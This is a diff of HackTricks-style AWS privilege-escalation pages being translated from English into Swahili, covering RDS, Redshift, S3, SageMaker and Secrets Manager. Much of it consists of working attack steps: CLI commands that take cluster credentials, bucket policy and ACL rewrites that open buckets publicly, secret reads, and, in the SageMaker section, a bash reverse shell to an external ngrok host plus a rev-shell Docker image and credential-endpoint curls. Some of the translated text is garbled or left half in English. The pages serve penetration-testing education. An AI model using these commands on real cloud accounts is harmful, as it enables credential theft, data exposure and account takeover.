- --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +Mshambuliaji mwenye ruhusa `rds:CreateDBInstance` na `iam:PassRole` anaweza **kuunda mfano mpya wa RDS na jukumu lililowekwa**. Mshambuliaji anaweza kisha **kupata data nyeti** au kubadilisha data ndani ya mfano huo. > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> Baadhi ya mahitaji ya jukumu/profaili ya mfano ili kuambatanisha (kutoka [**hapa**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> - Profaili lazima iwepo katika akaunti yako. +> - Profaili lazima iwe na jukumu la IAM ambalo Amazon EC2 ina ruhusa ya kulichukua. +> - Jina la profaili ya mfano na jina la jukumu la IAM lililohusishwa lazima ianze na kiambishi `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +Mshambuliaji mwenye ruhusa `rds:AddRoleToDBInstance` na `iam:PassRole` anaweza **kuongeza jukumu lililotajwa kwenye RDS instance iliyopo**. Hii inaweza kumwezesha mshambuliaji **kufikia data nyeti** au kubadilisha data ndani ya instance hiyo. > [!WARNING] -> The DB instance must be outside of a cluster for this - +> DB instance lazima iwe nje ya kundi kwa hili ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika mfano wa RDS. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..621c8ef8e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +Kwa maelezo zaidi kuhusu RDS angalia: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +Kwa ruhusa hizi unaweza kupata **habari za makundi yote** (ikiwemo jina na jina la mtumiaji wa kundi) na **kupata akreditivu** za kuweza kufikia: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +Kwa ruhusa hizi unaweza kupata **taarifa za makundi yote** na **kupata akreditivu** za kuweza kuyafikia.\ +Kumbuka kwamba mtumiaji wa postgres atakuwa na **ruhusa ambazo utambulisho wa IAM** ulitumika kupata akreditivu hizo unazo. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +Inawezekana **kubadilisha nenosiri la mkuu** la mtumiaji wa ndani wa postgres (redshit) kutoka aws cli (nadhani hizo ndizo ruhusa unazohitaji lakini sijazijaribu bado): ``` aws redshift modify-cluster ā€“cluster-identifier ā€“master-user-password ā€˜master-passwordā€™; ``` +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## Kufikia Huduma za Nje > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> Ili kufikia rasilimali zote zifuatazo, utahitaji **kueleza jukumu la kutumia**. Klasta ya Redshift **inaweza kuwa na orodha ya majukumu ya AWS** ambayo unaweza kutumia **ikiwa unajua ARN** au unaweza tu kuweka "**default**" kutumia ile ya kawaida iliyotolewa. -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Zaidi ya hayo, kama [**ilivyoelezwa hapa**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift pia inaruhusu kuunganisha majukumu (mradi tu jukumu la kwanza linaweza kuchukua jukumu la pili) ili kupata ufikiaji zaidi lakini kwa **kuvitenga** kwa **alama ya koma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: - +Kama ilivyoelezwa katika [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), inawezekana **kuita kazi ya lambda kutoka redshift** kwa kitu kama: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +Kama ilivyoelezwa katika [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), inawezekana **kusoma na kuandika kwenye S3 buckets**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +Kama ilivyoelezwa katika [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), inawezekana **kupata data kutoka dynamodb**: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> Jedwali la Amazon DynamoDB linalotoa data lazima liundwe katika Mkoa mmoja wa AWS kama klasta yako isipokuwa utumie chaguo la [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) kubaini Mkoa wa AWS ambapo jedwali la Amazon DynamoDB liko. ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Angalia [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..bafc99541 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +Mshambuliaji mwenye ruhusa hizo juu ya ndoo za kuvutia anaweza kuwa na uwezo wa kuiba rasilimali na kupandisha mamlaka. +Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza kuiba utekelezaji. Ufikiaji unaweza kutolewa kwa sera ifuatayo: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +Na hijack inapatikana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoaded** hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo it **trigger wakati arifa ya bucket inatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Moduli ya Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) inaweza kutumika kuendesha shambulio hili.\ +Kwa maelezo zaidi angalia utafiti wa asili: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +Hizi ni ruhusa za **kupata na kupakia vitu kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) hutumia hifadhi ya S3 kuhifadhi **faili za usanidi**.\ +Mshambuliaji mwenye **ufikiaji wa kusoma** kwao anaweza kupata **taarifa nyeti** juu yao.\ +Mshambuliaji mwenye **ufikiaji wa kuandika** kwao anaweza **kubadilisha data ili kutumia huduma fulani na kujaribu kupandisha mamlaka**.\ +Hizi ni baadhi ya mifano: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- Ikiwa mfano wa EC2 unahifadhi **data ya mtumiaji katika bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wa kiholela ndani ya mfano wa EC2**. ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +Mshambuliaji, ambaye anahitaji kuwa **kutoka kwenye akaunti hiyo hiyo**, ikiwa sivyo kosa `The specified method is not allowed will trigger`, kwa ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +Mshambuliaji anaweza kutumia ruhusa hizi **kumpatia ufikiaji zaidi** juu ya makundi maalum.\ +Kumbuka kwamba mshambuliaji hatahitaji kuwa kutoka kwenye akaunti ile ile. Zaidi ya hayo, ufikiaji wa kuandika ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Ownerā€™s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +Mshambuliaji anaweza kutumia ruhusa hizi ili kumwezesha kupata ufikiaji zaidi juu ya vitu maalum ndani ya ndoo. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Ownerā€™s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +Mshambuliaji mwenye haki hizi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo maalum la kitu. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..31aa006c2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,68 +6,60 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Start creating a noteboook with the IAM Role to access attached to it: - +Anza kuunda noteboook na IAM Role ili kupata iliyoambatanishwa nayo: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +Majibu yanapaswa kuwa na uwanja wa `NotebookInstanceArn`, ambao utakuwa na ARN ya mfano wa notebook mpya ulioanzishwa. Tunaweza kisha kutumia API ya `create-presigned-notebook-instance-url` kuunda URL ambayo tunaweza kutumia kufikia mfano wa notebook mara tu utakapokuwa tayari: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top right, then scroll down to ā€œLauncherā€ tab and under the ā€œOtherā€ section, click the ā€œTerminalā€ button. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to ā€œLauncherā€ tab and under the ā€œOtherā€ section, click the ā€œTerminalā€ button. +Sasa inawezekana kufikia akiba ya metadata ya IAM Role. -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potential Impact:** Privesc kwa huduma ya sagemaker iliyoainishwa. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +Ikiwa kuna Jupyter **notebooks tayari zinaendesha** kwenye hiyo na unaweza kuorodhesha hizo kwa `sagemaker:ListNotebookInstances` (au kuzipata kwa njia nyingine yoyote). Unaweza **kuunda URL kwa ajili yao, kuzipata, na kuiba akiba kama ilivyoonyeshwa katika mbinu ya awali**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**Madhara Yanayoweza Kutokea:** Privesc kwa jukumu la huduma ya sagemaker lililounganishwa. ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +Mshambuliaji mwenye ruhusa hizo anaweza kufanya **sagemaker kutekeleza processingjob** ikiwa na jukumu la sagemaker lililounganishwa. Mshambuliaji anaweza kuashiria ufafanuzi wa kontena ambalo litakimbizwa katika **AWS managed ECS account instance**, na **kuiba nyaraka za jukumu la IAM lililounganishwa**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Madhara Yanayoweza Kutokea:** Privesc kwa jukumu la huduma ya sagemaker lililotajwa. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +Mshambuliaji mwenye ruhusa hizo ataweza kuunda kazi ya mafunzo, **ikiendesha kontena yoyote** juu yake na **jukumu lililounganishwa** nalo. Hivyo, mshambuliaji ataweza kuiba akidi za jukumu hilo. > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> Hali hii ni ngumu zaidi kutekeleza kuliko ile ya awali kwa sababu unahitaji kuunda picha ya Docker ambayo itatuma rev shell au creds moja kwa moja kwa mshambuliaji (huwezi kuashiria amri ya kuanzia katika usanidi wa kazi ya mafunzo). > > ```bash -> # Create docker image +> # Unda picha ya docker > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## Kumbuka kwamba kazi ya mafunzo itaita executable inayoitwa "train" +> ## Ndio maana ninaweka rev shell katika /bin/train +> ## Weka thamani za na > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # Ipelekwe kwa ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Madhara Yanayoweza Kutokea:** Privesc kwa jukumu la huduma ya sagemaker lililotajwa. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +Mshambuliaji mwenye ruhusa hizo ataweza (kwa uwezekano) kuunda **kazi ya mafunzo ya hyperparameter**, **akikimbia kontena chochote** juu yake na **jukumu lililounganishwa** nalo.\ +&#xNAN;_I sijafanikiwa kutumia kwa sababu ya ukosefu wa muda, lakini inaonekana kama matumizi ya awali, jisikie huru kutuma PR yenye maelezo ya matumizi._ -## References +## Marejeleo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..11423fe1e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Kwa maelezo zaidi kuhusu secrets manager angalia: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +Mshambuliaji mwenye ruhusa hii anaweza kupata **thamani iliyohifadhiwa ndani ya siri** katika AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**Madhara Yanayoweza Kutokea:** Upatikanaji wa data nyeti sana ndani ya huduma ya AWS secrets manager. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +Kwa ruhusa zilizotangulia inawezekana **kutoa ufikiaji kwa wahusika/akaunti nyingine (hata za nje)** kupata **siri**. Kumbuka kwamba ili **kusoma siri zilizofichwa** kwa kutumia funguo za KMS, mtumiaji pia anahitaji kuwa na **ufikiaji juu ya funguo za KMS** (maelezo zaidi katika [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ 